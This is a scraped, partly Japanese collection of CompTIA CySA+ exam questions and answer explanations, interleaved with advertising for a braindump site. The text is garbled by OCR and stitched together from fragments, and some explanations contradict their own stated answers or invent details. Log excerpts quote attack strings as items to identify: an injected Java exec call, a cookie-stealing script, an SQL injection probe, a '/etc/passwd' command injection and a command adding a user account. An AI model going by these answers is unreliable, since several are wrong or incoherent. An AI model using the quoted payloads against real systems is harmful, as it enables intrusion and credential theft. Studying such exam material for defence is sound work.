a DDoS attack is to compromise DNS servers, which are responsible for resolving domain names into IP
addresses. By flooding DNS servers with malicious requests, attackers can disrupt the normal functioning
of the internet and prevent users from accessing external SaaS resources. Official References:
https://www.
eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack/
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Multifactor authentication (MFA) is a security method that requires users to provide two or more pieces of
evidence to verify their identity, such as a password, a PIN, a fingerprint, or a one-time code. MFA can
reduce the impact of a credential leak because even if the attackers have the usernames and passwords
of the employees, they would still need another factor to access the organization's systems and
resources. Password changes, system hardening, and password encryption are also good security
practices, but they do not address the immediate threat of compromised credentials.
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Timeline analysis in digital forensics involves creating a chronological sequence of events based on
system logs, file changes, and other forensic data. This process often uses graphical representations to
illustrate and analyze how an incident unfolded over time, making it easier to identify key events and
potential indicators of compromise. This approach is highlighted in CompTIA Cybersecurity Analyst
(CySA+) practices as crucial for understanding the scope and sequence of a security incident. The other
options do not involve chronological or graphical analysis to the extent that timeline analysis does.

A%h7%: CS0-003J HRES X GoShiken.com AMEH SN =& LASF LY CS0-003J FAERERELE !
GoShiken.com A&z #7 CS0-003J FXEXfEEE 12t L TLVET, GoShiken.com CS0-003J FXE&R i 8
IZF T MBENEETSIVET , &FTD GoShiken.com CS0-003J) FREEZS v T B AT B 5:
https://www.goshiken.com/CompTIA/CS0-003J-mondaishu.html (43630%OFFEIREE A & IEfigft =

T 30%wiF3IEI5a0— F: Freepdfdumps)
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Threat modelingis aproactiveapproach used toidentify, analyze, and mitigate potential threatsbefore they
impact production systems. It is especially useful in early development stages to anticipate vulnerabilities
and attack paths.

* Option B (Penetration testing)is areactive measureperformed on deployed systems, rather than prior to
production.

* Option C (Bug bounty)programs incentivize external researchers but do not proactively model risks
before deployment.

* Option D (SDLC training)improves security awareness but does notactively assess risks.
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Thus,A (Threat modeling) is the best choice, as it enablesearly identification and mitigation of security
risks.
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A successful information security program consists of several key elements that align with the
organization's goals and objectives, and address the risks and threats to its information assets.

* Security policy implementation: This is the process of developing, documenting, and enforcing the rules
and standards that govern the security of the organization's information assets. Security policies define
the scope, objectives, roles, and responsibilities of the security program, as well as the acceptable use,
access control, incident response, and compliance requirements for the information assets.

* Assignment of roles and responsibilities: This is the process of identifying and assigning the specific
tasks and duties related to the security program to the appropriate individuals or groups within the
organization. Roles and responsibilities define who is accountable, responsible, consulted, and informed
for each security activity, such as risk assessment, vulnerability management, threat detection, incident
response, auditing, and reporting.

* Information asset classification: This is the process of categorizing the information assets based on their
value, sensitivity, and criticality to the organization. Information asset classification helps to determine the
appropriate level of protection and controls for each asset, as well as the impact and likelihood of a
security breach or loss. Information asset classification also facilitates the prioritization of security
resources and efforts based on the risk level of each asset.
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A risk register is a useful tool for mapping, tracking, and mitigating identified threats and vulnerabilities
with the likelihood and impact of occurrence. A risk register is a document that records the details of all
the risks identified in a project or an organization, such as their sources, causes, consequences,
probabilities, impacts, and mitigation strategies. A risk register can help the security team to prioritize the
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risks based on their severity and urgency, and to monitor and control them throughout the project or the
organization's lifecycle12. A vulnerability assessment, a penetration test, and a compliance report are all
methods or outputs of identifying and evaluating the threats and vulnerabilities, but they are not tools for
mapping, tracking, and mitigating them345. References: What is a Risk Register? | Smartsheet, Risk
Register: Definition & Example, Vulnerability Assessment vs. Penetration Testing: What's the
Difference?, What is a Penetration Test and How Does It Work?, What is a Compliance Report? |
Definition, Types, and Examples
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Comprehensive and Detailed Step-by-Step Explanation:Directory traversal, also known as path traversal,
is an attack that allows attackers to access restricted directories and execute commands outside the web
server's root directory. The %2E encoding corresponds to a dot (.) in ASCII, and %2E%2E resolves to ../.
The log entries indicate attempts to navigate directories upward to access sensitive files like /etc/passwd.
Since no malicious activity was flagged, it is inferred this was either an unsuccessful or reconnaissance
attempt.
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Improving employee training and awareness is the best option to address the issue of sensitive reports
being disclosed via file sharing services. By educating employees about the risks of unapproved file
sharing, the security protocols to follow, and the proper channels to use for sharing company information,
an organization can significantly reduce the risk of sensitive data being accidentally or intentionally
shared on insecure platforms. This human-centric approach addresses the root cause of the problem.
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Options A, C, and D are security controls that do not directly address the behavior of sharing sensitive
files on unauthorized services.
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A cross-site scripting (XSS) attack is a type of web application attack that injects malicious code into a

web page that is then executed by the browser of a victim user. A reflected XSS attack is a type of XSS

attack where the malicious code is embedded in a URL or a form parameter that is sent to the web server

and then reflected back to the user's browser. In this case, the Nmap scan shows that the web server is

vulnerable to a reflected XSS attack, as it returns the characters > and " without any filtering or encoding.

The vulnerable parameter is id in the URL http://172.31.15.2/1.php?

id=2.

ntep syn-ack
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The scanner is running in active mode, which is the cause of this issue. Active mode is a type of
vulnerability scanning that sends probes or requests to the target systems to test their responses and
identify potential vulnerabilities. Active mode can provide more accurate and comprehensive results, but it
can also cause more network traffic, performance degradation, or system instability. In some cases,
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active mode can trigger denial- of-service (DoS) conditions or crash the target systems, especially if they
are not configured to handle the scanning requests or if they have underlying vulnerabilities that can be
exploited by the scanner12. Therefore, the analyst should use caution when performing active mode
scanning, and avoid scanning business-critical or sensitive systems without proper authorization and
preparation3. References: Vulnerability Scanning for my Server - Spiceworks Community, Negative
Impacts of Automated Vulnerability Scanners and How ... - Acunetix, Vulnerability Scanning Best
Practices
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Wireshark is a network protocol analyzer that allows analysts to capture and inspect data packets
traveling through a network. This makes it ideal for investigating unusual network activity, as it provides
detailed insights into the nature and content of network traffic. In this case, Wireshark can help identify
potentially malicious packets and understand the nature of the observed traffic. Options A (WAF) and C
(EDR) are primarily used for monitoring and protecting web applications and endpoints, respectively, and
Nmap (D) is typically used for network discovery and mapping, not detailed traffic analysis. According to
CompTIA CySA+, packet analysis tools like Wireshark are invaluable for deep-dive investigations into
network anomalies.
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Integrity validation is the process of ensuring that the digital evidence has not been altered or tampered
with during collection, acquisition, preservation, or analysis. It usually involves generating and verifying
cryptographic hashes of the evidence, such as MD5 or SHA-1. Integrity validation is essential for
maintaining the accuracy and admissibility of the digital evidence in court.
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A rollback had been executed on the instance. If a database server is restored to a previous state, it may
reintroduce a vulnerability that was previously fixed. This can happen due to backup and recovery
operations, configuration changes, or software updates. A rollback can undo the patching or mitigation
actions that were applied to remediate the vulnerability. References: Vulnerability Remediation: It's Not
Just Patching, Section:

The Remediation Process; Vulnerability assessment for SQL Server, Section: Remediation
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Agent-based scanning is a method that involves installing software agents on the target systems or
networks that can perform local scans and report the results to a central server or console. Agent-based
scanning can reduce the access to systems, as the agents do not require any credentials or permissions
to scan the local system or network. Agent-based scanning can also provide the most accurate
vulnerability scan results, as the agents can scan continuously or on-demand, regardless of the system or
network status or location.
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Answer: D (A —vt—U %7&9)

The lessons-learned register is an essential document that captures insights and feedback from past
exercises or incidents, highlighting what went well and what did not. By utilizing this register, the SOC
manager can identify specific areas for improvement and develop actionable steps to enhance future
response efforts.

According to CompTIA's CySA+ and Security+ guidance, lessons learned fromtabletop exercises are
crucial for iterative improvements in an incident response plan. Options A, B, and C are useful resources,
but the lessons-learned register specifically focuses on reflection and improvement, which is the primary
objective in this context.
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The first thing that must be done when starting an investigation is to secure the scene. Securing the
scene involves isolating and protecting the area where the incident occurred, as well as any potential
evidence or witnesses. Securing the scene can help prevent any tampering, contamination, or destruction
of evidence, as well as any interference or obstruction of the investigation.
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The vulnerability is network based is the correct attribute that describes this vulnerability, as it can be
inferred from the CVSS string. CVSS stands for Common Vulnerability Scoring System, which is a
framework that assigns numerical scores and ratings to vulnerabilities based on their characteristics and
severity. The CVSS string consists of several metrics that define different aspects of the vulnerability,
such as the attack vector, the attack complexity, the privileges required, the user interaction, the scope,
and the impact on confidentiality, integrity and availability. The first metric in the CVSS string is the attack
vector (AV), which indicates how the vulnerability can be exploited. The value of AV in this case is N,
which stands for network.
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This means that the vulnerability can be exploited remotely over a network connection, without physical
or logical access to the target system. Therefore, the vulnerability is network based. Official References:

* https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

* https://www.comptia.org/certifications/cybersecurity-analyst

* https://packitforwarding.com/index.php/2019/01/10/comptia-cysa-common-vulnerability-scoring- system-
cvss/
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Comprehensive and Detailed Explanation:

Key Performance Indicators (KPIs)track the effectiveness of a security program, providing measurable
insights intovulnerability detection, patching efficiency, and risk reduction. This makes KPIs ideal for

executive dashboards.

* Option B (MOU - Memorandum of Understanding)refers toagreements between parties, not
performance tracking.

* Option C (SLO - Service Level Objective)defines operationaltargetsbut is nota tracking metric.

* Option D (SLA - Service Level Agreement)defines expectations betweenservice providers and clients,
not security metrics.

Thus,A (KPI) is the correct answer, asKPIs provide actionable insights into security effectiveness.
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Answer: A (A —vt—U%&Y)

* SOAR (Security Orchestration, Automation, and Response) platforms help automate and orchestrate
incident response tasks, including phishing triage.

* SOAR reduces triage time by automatically:

* Parsing phishing emails (checking headers, links, attachments).

* Running automated playbooks to check for known malicious indicators.

* Escalating real threats while dismissing false positives.

Why Not Other Options?

* B (Increase security awareness) # Helps prevent phishing but does NOT reduce triage time.

* C (Implement EDR) # EDR is useful for endpoint protection but does NOT specifically reduce phishing
triage time.

* D (Install a "Report Phishing" button) # Helps report phishing but does NOT automate the triage
process.
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Date/Time

URL

Destination Port
Bytes In

Bytes Out
12/24/2023 14:00:25
youtube.com

80

450000

4587

12/25/2023 14:09:30
translate.google.com
80

2985

3104

12/25/2023 14:10:00
tiktok.com

443

675000

105
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12/25/2023 16:00:45

netflix.com

443

525900

295

12/26/2023 16:30:45

grnail.com

443

1250

525984

12/31/2023 17:30:25

office.com

443

350000

450

12/31/2023 17:35:00

youtube.com

443

300

350000

TFHURDEAICHAET IRENH ST —F JA—[FRDIENTIT M,
A. netflix.com

B. youtube.com

C. tiktok.com

D. grnail.com

E. translate.google.com

F.A24XFy oL

Answer: D (A —vyt—T%EY)

* D ("grnail.com") is a suspicious domain that resembles "gmail.com."

* The high "bytes out" value (525,984 bytes) indicates potential data exfiltration.
* Attackers often use typosquatting (e.g., "grnail.com" instead of "gmail.com") to trick users into visiting
malicious sites.

Why Not Other Options?

* A (Netflix, B YouTube, C TikTok) # Large downloads, but expected behavior for streaming sites.
* E (Google Translate) # Low data volume, no exfiltration risk.

* F (Office.com) # Microsoft service, no indication of malicious activity.
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Alerts (17)
M Absence of Anti-CSRF Tokens
~ Content Security Policy (CSP) Header Not Set (6)
m Directory Browsing (11)
~ Missing Anticlickjacking Header (2)
7 Cockie No HttpOnly Flag (4)
i Cookie Without Secure Flag
r» Cockie with SameSite Attribute None (2)
7o Cockie without SameSite Attribute (5)
 Cross-Domain JavaScript Source File Inclusion
7 Timestamp Disclosure = Unix (569)
= X-Content=Type-Options Header Missing (42)
 CORS Header
M~ Information Disclosure - Sensitive Information in URL (2)
m Information Disclosure - Suspicious Comments (43)
m Loosely Scoped Cookle (B)
m Re-examine Cache-controlDirectives 2 3)
X2V TA THIRA M RETLIDLENHLIF 12—V THREZREIIRDS>EENTTH,
A.HTTPSIZ & %BIEZRHIT 5 7=HICHttpOnivflagZz XE L F T
B. X-Frame-Options Ny #—DHEW) IV TA +E270Y I LET
C. A &N t= KA A »~DAccess-Control-Allow-Origin AN & —Z 19 %
D. 7ARFN UV Y—RAFAY T —ZEBNIZT S
Answer: (&% %KT9 D)

The output shows that the web application is vulnerable to clickjacking attacks, which allow an attacker to

overlay a hidden frame on top of a legitimate page and trick users into clicking on malicious links.
Blocking requests without an X-Frame-Options header can prevent this attack by instructing the browser
to not display the page within a frame.
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Answer: B (A —vt—T %KY

Researching federal laws, regulatory compliance requirements, and organizational policies to document
specific reporting SLAs is the best action to address the reporting issue. Reporting SLAs are service level
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agreements that specify the time frame and the format for notifying the relevant authorities and the
affected individuals of a data breach. Reporting SLAs may vary depending on the type and severity of the
breach, the type and location of the data, the industry and jurisdiction of the organization, and the internal
policies of the organization. By researching and documenting the reporting SLAs for different scenarios,
the organization can ensure that it complies with the legal and ethical obligations of data breach
notification, and avoid any penalties, fines, or lawsuits that may result from failing to report a breach in a
timely and appropriate manner12. References: When and how to report a breach: Data breach reporting
best practices, Incident and Breach Management
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Answer: B (A —vyt—T%REY)

The Common Vulnerabilities and Exposures (CVE) is a public repository of standardized identifiers and
descriptions for common cybersecurity vulnerabilities. It helps security analysts to identify, prioritize, and
report on the most critical vulnerabilities in their systems and applications. The other options are not
relevant for this purpose: Cyber Threat Intelligence (CTI) is a collection of information and analysis on
current and emerging cyber threats; Cyber Analytics Repository (CAR) is a knowledge base of analytics
developed by MITRE based on the ATT&CK adversary model; ATT&CK is a globally-accessible
knowledge base of adversary tactics and techniques based on real-world observations.References:
According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition1, one of the objectives for
the exam is to "use appropriate tools and methods to manage, prioritize and respond to attacks and
vulnerabilities". The book also covers the usage and syntax of various cybersecurity frameworks and
standards, such as CVE, CTI, CAR, and ATT&CK, in chapter 1. Specifically, it explains the meaning and
function of each framework and standard, such as CVE, which provides a common language for
describing and sharing information about vulnerabilities1, page 28. Therefore, this is a reliable source to
verify the answer to the question.
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Answer: (&% &K <9 B)

Reverse engineering is the process of analyzing a binary file to understand its structure, functionality, and
behavior. It can help to identify the purpose of the binary file, such as whether it is a malicious program, a
legitimate application, or a library. Reverse engineering can involve various techniques, such as
disassembling, decompiling, debugging, or extracting strings or resources from the binary file123.
Reverse engineering can also help to find vulnerabilities, backdoors, or hidden features in the binary file

Ex T RE: 98
MESEE7F IR ME  HATHERASNTWEAT—VRT—L a3 VICEEEZEZ -G REMEICET L8
BAoT) o RELEA—LET,

User
interaction
required

Vulnerability A  |Network|Low No Yes
Vulnerability B [Local {Faw Yes Yes
Vulnerability C |Netwerk|High Yes Yes
Vulnerability D [kocal |Low No No

Attack |Attack Authentication
vector |complexity(réguired

Vulnerability title

IR A—Y—DEFA—ILTEEINE-EEDHD I 0EV )y ITHIENENI EEHMOTL
27 FTVRAMI ROMBHEDSIEENZRILBRI IDENHY EFITH?

A. 55t A

B. ift551% B

C. fag51% C

D. 551t D

Answer: B (A —vt—C#7%Y)

Vulnerability B is the vulnerability that the analyst should be most concerned about, knowing that end
users frequently click on malicious links sent via email. Vulnerability B is a remote code execution
vulnerability in Microsoft Outlook that allows an attacker to run arbitrary code on the target system by
sending a specially crafted email message. This vulnerability is very dangerous, as it does not require
any user interaction or attachment opening to trigger the exploit. The attacker only needs to send an
email to the victim's Outlook account, and the code will execute automatically when Outlook connectsto
the Exchange server. This vulnerability has a high severity rating of 9.8 out of 10, and it affects all
supported versions of Outlook.

Therefore, the analyst should prioritize patching this vulnerability as soon as possible to prevent potential
compromise of the workstations.
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Answer: C (A —vyt—T %K)

Credentialed vulnerability scansallow the scanner tolog into systems and retrieve accurate information
about installed patches and configurations. If the reportsdo not reflect current patching levels, it is likely
that the scan is being performedwithout credentials, leading to incomplete or inaccurate results.

* Option A (Updating the scanning engine)ensures the tool has the latest detection capabilities but does
not directly affect scan accuracy for missing patches.

* Option B (Centralized patching)helps maintain consistency but does not correct reporting errors.

* Option D (Resetting plug-ins)may be useful if plug-ins are outdated, but the primary issue islack of
privileged accessduring scanning.

Thus,C is the correct answer, ascredentialed scans provide more accurate vulnerability assessments.
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Answer: (& %K D)

The best control to allow the organization to identify rogue devices more quickly is A. Implement a
continuous monitoring policy. A continuous monitoring policy is a set of procedures and tools that enable
an organization to detect and respond to unauthorized or anomalous activities on its network in real time
or near real time. A continuous monitoring policy can help identify rogue access points as soon as they
appear on the network, rather than waiting for quarterly or monthly scans. A continuous monitoring policy
can also help improve the overall security posture and compliance of the organization by providing timely
and accurate information about its network assets, vulnerabilities, threats, and incidents1.
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| Credential
Finding 'mpact required? Complexity
Self-signed certificate in High No High
use
Old copyright date Low No N/A
All user input accepted.onty.
lorme High" “ |[No Low
Full error messages MediumiNo oy
displayed
Control panel jJogip.open
0 public High Yes Medium
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C.EfENfzIL— CADLBEYLIIAZEZBALET,

D.¥RTDT 4 —I)L RTEYGH =24 XEETLET,

Answer: D (A —vt—T %KY

The first action that should be completed to remediate the findings is to perform proper sanitization on all
fields. Sanitization is a process that involves validating, filtering, or encoding any user input or data before
processing or storing it on a system or application. Sanitization can help prevent various types of attacks,
such as cross-site scripting (XSS), SQL injection, or command injection, that exploit unsanitized input or
data to execute malicious scripts, commands, or queries on a system or application. Performing proper
sanitization on all fields can help address the most critical and common vulnerability found during the
vulnerability assessment, which is XSS.
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Answer: A (A —vyt—T%EY)

Compensating controls are the best approach to minimize the risk of the outdated servers being
compromised, as they can provide an alternative or additional layer of security when the primary control
is not feasible or effective. Compensating controls are security measures that are implemented to
mitigate the risk of a vulnerability or an attack when the primary control is not feasible or effective. For
example, if the servers are running outdated operating systems and cannot be patched, a compensating
control could be to isolate them from the rest of the network, or to implement a firewall or an intrusion
prevention system to monitor and block any malicious traffic to or from the servers. Compensating
controls can help reduce the likelihood or impact of an exploit, but they do not eliminate the risk
completely. Therefore, the security analyst should also consider upgrading or replacing the outdated
servers as soon as possible.
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Answer: D (A —vt—T#ET)

A threshold value is a parameter that defines the minimum or maximum level of a metric or event that
triggers an alert. For example, a threshold value can be set to alert when the number of failed login
attempts exceeds

10 in an hour, or when the CPU usage drops below 20% for more than 15 minutes. By setting a threshold
value, the process can filter out irrelevant or insignificant alerts and focus on the ones that indicate a
potential problem or anomaly. A threshold value can help to reduce the noise and false positives in the
alert system, and improve the efficiency and accuracy of the analysis12
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Answer: C (A —vyt—T%EY)

User behavior analysis (UBA) is the most effective method for detecting abnormal account activity.

* UBA uses machine learning and behavioral analytics to identify patterns in how users interact with
systems. If an employee suddenly logs in from an unusual location or accesses resources outside of their
normal behavior, it raises an alert.
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* Option A (Malicious command interpretation) is focused on malware analysis, not user behavior.

* Option B (Network monitoring) detects anomalies at the network level, but does not specifically focus on
user behaviors.

* Option D (SSL Inspection) is useful for decrypting encrypted traffic, but it does not analyze user activity
patterns.

= #fERE: 105

XA T4 THFIR NI EHOY—N—LOOJ#BAERELFET ROEEDS> B H—/\—IZ#
AMZATA 0T BHIELL RERBEERTRET HAANY FE—THICARIET HDICKRELBELIZELD
FENTIM?

A T—AR—R&=TTOA4A LTI EENLET,

B.OJ % SIEM IZERET S K S ITH—N\—ZHBRLET,

C.EHY—N—0OT TALY FIZABLTOA—DIL TIERZHALET,
D.7FVRRADOTDEFA—ILEEZEEELLET,

Answer: B (A —vyt—T%EY)

The best implementation to give the best central visibility into the events occurring throughout the
corporate environment without logging in to the servers individually is B. Configure the servers to forward
logs to a SIEM.

A SIEM (Security Information and Event Management) is a security solution that helps organizations
detect, analyze, and respond to security threats before they disrupt business1. SIEM tools collect,
aggregate, and correlate log data from various sources across an organization's network, such as
applications, devices, servers, and users. SIEM tools also provide real-time alerts, dashboards, reports,
and incident response capabilities to help security teams identify and mitigate cyberattacks2345.

By configuring the servers to forward logs to a SIEM, the security analysts can have a central view of
potential threats and monitor security incidents across the corporate environment without logging in to the
servers individually. This can save time, improve efficiency, and enhance security posture2345.
Deploying a database to aggregate the logging (A) may not provide the same level of analysis,
correlation, and alerting as a SIEM tool. Sharing the log directory on each server to allow local access
may not be scalable or secure for a large number of servers. Automating the emailing of logs to the
analysts (D) may not be timely or effective for real-time threat detection and response. Therefore, B is the
best option among the choices given.
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Answer: (&% RTT B)

To identify existing vulnerabilities in the web application, the best options are to contract a penetration
test and create a bug bounty program. A penetration test simulates attacks against the application to
uncover security flaws proactively. A bug bounty program incentivizes external security researchers to
find and report vulnerabilities, expanding the testing scope without overburdening internal resources.
According to CompTIA CySA+, both methods are highly effective in identifying vulnerabilities from an
external perspective, particularly when internal resources are limited. Options like a WAF (A) focus more
on prevention than detection, while threat modeling (F) and tabletop exercises (D) are generally proactive
measures not focused on active flaw identification.
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Log entry # |Message

comptia.org/S{@java lang.Runtime@getRuntimeé().exec("nslookup
example.com”)}/

<scnpt type="text/jJavascnpt™>var test=". /index.php?
cookie_data="+escape(document.cookie), </script>

Log entry 3 |example.comibutier php?id=1 and nullif (1337,1337)

requestOb) = ... {scopes: ["Mail. ReadWrite", "Mail send”,
Logentry 4 |uciies ReadWrite All'] )

Log entry 1
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Log entry 4 shows an attempt to exploit the zero-day command injection vulnerability by appending a
malicious command (;cat /etc/passwd) to the end of a legitimate request (/cgi-bin/index.cgi?name=John).
This command would try to read the contents of the /etc/passwd file, which contains user account
information, and could lead to further compromise of the system. The other log entries do not show any
signs of command injection, as they do not contain any special characters or commands that could alter
the intended behavior of the application. Official References:

* https://www.imperva.com/learn/application-security/command-injection/

* https://www.zerodayinitiative.com/advisories/published/
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ID Vulnerability Name Exploit Cvss Instances
1 Default Guessable SNMP community names: public 75 14
2 Microsoft CVE-2021-34527: PrintNightmare Yes 84 2
3 User home directory mgdg ufisafie &1 3854
4 Debian CVE-2018-17182: ymacache_flush all Yes a7 70
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Answer: B (A —vt— U %% 9)

The vulnerability with the highest CVSS score and an active exploit is Microsoft CVE-2021-34527
(PrintNightmare). Although only present on two instances, its high severity (8.4) and exploitable nature
make it a priority. PrintNightmare is a well-known remote code execution vulnerability, which can be a
critical risk.

According to CompTIA CySA+ and vulnerability management practices, prioritizing based on severity and
exploitability is essential, even over the number of instances. Other vulnerabilities listed are less severe
or lack active exploitation.
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invoke-command -CocmputerName clientcomputerl -Credential xyzccmpaﬂﬁJﬁdn:nistra:“r gpScriptBlock (HOSTName )

clientcomputerl

invoke-command -ComputerName clientcomputerl -Credential@xy¥@ompany\administrator -ScriptBlock (net user /add inveke_ul}

The command completed successfully.
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The endpoint log entry shows that a new account named "admin" has been created on a Windows
system with a local group membership of "Administrators". This indicates that a new account has been
introduced on the system with administrative privileges. This could be a sign of malicious activity, such as
privilege escalation or backdoor creation, by an attacker who has compromised the system.
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TCPDump is the best tool to prove whether the server was experiencing a DoS attack related to half-
open TCP sessions consuming memory. TCPDump is a command-line tool that can capture and analyze
network traffic, such as TCP, UDP, and ICMP packets. TCPDump can help the administrator to identify
the source and destination of the traffic, the TCP flags and sequence numbers, the packet size and
frequency, and other information that can indicate a DoS attack. A DoS attack related to half-open TCP
sessions is also known as a SYN flood attack, which is a type of volumetric attack that aims to exhaust
the network bandwidth or resources of the target server by sending a large amount of TCPSYN requests
and ignoring the TCP SYN- ACK responses. This creates a backlog of half-open connections on the
server, which consume memory and CPU resources, and prevent legitimate connections from being
established12. TCPDump can help the administrator to detect a SYN flood attack by looking for a high
number of TCP SYN packets with different source IP addresses, a low number of TCP SYN-ACK
packets, and a very low number of TCP ACK packets34. References: SYN flood DDoS attack |
Cloudflare, What is a SYN flood attack and how to prevent it? | NETSCOUT, TCPDump - A Powerful Tool
for Network Analysis and Security, How to Detect a SYN Flood Attack with TCPDump
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B. LFI

C. CSRF

D. XSS

Answer: (fAZE%RTd 5)

The most likely attack that was performed is CSRF (Cross-Site Request Forgery). This is an attack that
forces a user to execute unwanted actions on a web application in which they are currently
authenticated1. If the user has several tabs open in the browser, one of them might contain a malicious
link or form that sends a request to the web application to change the user's password, email address, or
other account settings. The web application will not be able to distinguish between the legitimate requests
made by the user and the forged requests made by the attacker. As a result, the user will lose access to
their account.

To prevent CSRF attacks, web applications should implement some form of anti-CSRF tokens or other
mechanisms that validate the origin and integrity of the requests2. These tokens are unique and
unpredictable values that are generated by the server and embedded in the forms or URLs that perform
state-changing actions. The server will then verify that the token received from the client matches the
token stored on the server before processing the request. This way, an attacker cannot forge a valid
request without knowing the token value.

Some other possible attacks that are not relevant to this scenario are:

* RFI (Remote File Inclusion) is an attack that allows an attacker to execute malicious code on a web
server by including a remote file in a script. This attack does not affect the user's browser or account
settings.

* LFI (Local File Inclusion) is an attack that allows an attacker to read or execute local files on a web
server by manipulating the input parameters of a script. This attack does not affect the user's browser or
account settings.

* XSS (Cross-Site Scripting) is an attack that injects malicious code into a web page that is then executed
by the user's browser. This attack can affect the user's browser or account settings, but it requires the
user to visit a compromised web page or click on a malicious link. It does not depend on having several
tabs open in the browser.
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Answer: D (A —vt—T#ET)

The correct answer is D. Disconnect the access point from the network.
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A rogue access point is a wireless access point that has been installed on a network without the
authorization or knowledge of the network administrator. A rogue access point can pose a serious
security risk, as it can allow unauthorized users to access the network, intercept network traffic, or launch
attacks against the network or its devices1234.

The first action that should be taken to protect the network while preserving evidence is to disconnect the
rogue access point from the network. This will prevent any further damage or compromise of the network
by blocking the access point from communicating with other devices or users. Disconnecting the rogue
access point will also preserve its state and configuration, which can be useful for forensic analysis and
investigation.

Disconnecting the rogue access point can be done physically by unplugging it from the network port or
wirelessly by disabling its radio frequency5.

The other options are not the best actions to take first, as they may not protect the network or preserve
evidence effectively.

Option A is not the best action to take first, as running a packet sniffer to monitor traffic to and from the
access point may not stop the rogue access point from causing harm to the network. A packet sniffer is a
tool that captures and analyzes network packets, which are units of data that travel across a network. A
packet sniffer can be useful for identifying and troubleshooting network problems, but it may not be able
to prevent or block malicious traffic from a rogue access point. Moreover, running a packet sniffer may
require additional time and resources, which could delay the response and mitigation of the incident5.
Option B is not the best action to take first, as connecting to the access point and examining its log files
may not protect the network or preserve evidence. Connecting to the access point may expose the
analyst's device or credentials to potential attacks or compromise by the rogue access point. Examining
its log files may provide some information about the origin and activity of the rogue access point, but it
may also alter or delete some evidence that could be useful for forensic analysis and investigation.
Furthermore, connecting to the access point and examining its log files may not prevent or stop the rogue
access point from continuing to harm the network5.

Option C is not the best action to take first, as identifying who is connected to the access point and
attempting to find the attacker may not protect the network or preserve evidence. Identifying who is
connected to the access point may require additional tools or techniques, such as scanning for wireless
devices or analyzing network traffic, which could take time and resources away from responding and
mitigating the incident.

Attempting to find the attacker may also be difficult or impossible, as the attacker may use various
methods to hide their identity or location, such as encryption, spoofing, or proxy servers. Moreover,
identifying who is connected to the access point and attempting to find the attacker may not prevent or
stop the rogue access point from causing further damage or compromise to the network5.
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Answer: B (A —vyt—T%EY)

Cloud-specific misconfigurations are security issues that arise from improper or inadequate configuration
of cloud resources, such as storage buckets, databases, virtual machines, or containers. Cloud-specific
misconfigurations may not be detected by the current scanners that are designed for on-premises
environments, as they may not have the visibility or access to the cloud resources or the cloud provider's
APIs. Therefore, one of the implications that should be considered on the new hybrid environment is that
cloud-specific misconfigurations may not be detected by the current scanners.
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The takeown command is used to take ownership of a file or folder that previously was denied access to
the current user or group12. The activity observed indicates that someone has taken ownership of all files
and folders under the C:\Users\Documents\HR\Employees directory, which may contain sensitive or
confidential information. This could be a sign of unauthorized privileges, as the user or group may not
have the legitimate right or need to access those files or folders. Taking ownership of files or folders could
also enable the user or group to modify or delete them, which could affect the integrity or availability of
the data.
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Indicators of compromise (IoCs) are pieces of data or evidence that suggest a system or network has
been compromised by an attacker or malware. 10Cs can include IP addresses, domain names, URLs, file
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hashes, registry keys, network traffic patterns, user behaviors, or system anomalies. loCs can be used to
detect, analyze, and respond to security incidents, as well as to share threat intelligence with other
organizations or authorities. loCs can produce the data needed for an executive briefing on possible
threats to the organization, as they can provide information on the source, nature, scope, impact, and
mitigation of the threats.
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The correct answer is A. 121.19.30.221.

Based on the log files and the organization's priorities, the host that warrants additional investigation is
121.19.30.221, because it is the only host that accessed a file containing sensitive data and is not from
the partner vendor's range.

The log files show the following information:

* The IP addresses of the hosts that accessed the web server

* The date and time of the access

* The file path of the requested resource

* The number of bytes transferred

The organization's priorities are:

* Unauthorized data disclosure is more critical than denial of service attempts

* Denial of service attempts are more important than ensuring vendor data access According to these
priorities, the most serious threat to the organization is unauthorized data disclosure, which occurs when
sensitive, protected, or confidential data is copied, transmitted, viewed, stolen, altered, or used by an
individual unauthorized to do so123. Therefore, the host that accessed a file containing sensitive data
and is not from the partner vendor's range poses the highest risk to the organization.
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The file that contains sensitive data is /reports/2023/financials.pdf, as indicated by its name and path.
This file was accessed by two hosts: 121.19.30.221 and 216.122.5.5. However, only 121.19.30.221 is not
from the partner vendor's range, which is 216.122.5.x. Therefore, 121.19.30.221 is a potential
unauthorized data disclosure threat and warrants additional investigation.

The other hosts do not warrant additional investigation based on the log files and the organization's
priorities.

Host 134.17.188.5 accessed /index.html multiple times in a short period of time, which could indicate a
denial of service attempt by flooding the web server with requests45. However, denial of service attempts
are less critical than unauthorized data disclosure according to the organization's priorities, and there is
no evidence that this host succeeded in disrupting the web server's normal operations.

Host 202.180.1582 accessed /images/logo.png once, which does not indicate any malicious activity or
threat to the organization.

Host 216.122.5.5 accessed /reports/2023/financials.pdf once, which could indicate unauthorized data
disclosure if it was not authorized to do so. However, this host is from the partner vendor's range, which
is required to have access to monthly reports and is the only external vendor with authorized access
according to the organization's requirements.

Therefore, based on the log files and the organization's priorities, host 121.19.30.221 warrants additional
investigation as it poses the highest risk of unauthorized data disclosure to the organization.
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Comprehensive and Detailed Step-by-Step Explanation:Remediated incidents is a key performance
indicator (KPI) that measures how effectively incidents are resolved and communicated during the
incident response lifecycle. It reflects the program's success in mitigating risks and restoring normal
operations. Other options (e.

g., mean time to detect) are important metrics but do not directly measure reporting or communication
effectiveness.
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Time stamp |Message

LDAP: A read operation was performed an an object: Domain
20:06:05 Admins

20-06-05 LDAP: A read operation was performed on an object: Domain

Servers
20.06.09 |EDR: A local group was enumerated. Administrators

20-06:23 EDR: SMB conpection attempts-te- multiple hosts from single
— host: PC021
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Based on the events in the log, the most likely occurrence is that an adversary is performing a
vulnerability scan. The log shows LDAP read operations and EDR enumerating local groups, which are
indicative of an adversary scanning the system to find vulnerabilities or sensitive information. The final
entry shows SMB connection attempts to multiple hosts from a single host, which could be a sign of
network discovery or lateral movement. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd
Edition, Chapter 4: Security Operations and Monitoring, page 161; Monitor logs from vulnerability
scanners, Section: Reports on Nessus vulnerability data.
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The correct answer is A. Orange team.

An orange team is a team that is involved in facilitation and training of other teams in cybersecurity. An
orange team assists the yellow team, which is the management or leadership team that oversees the
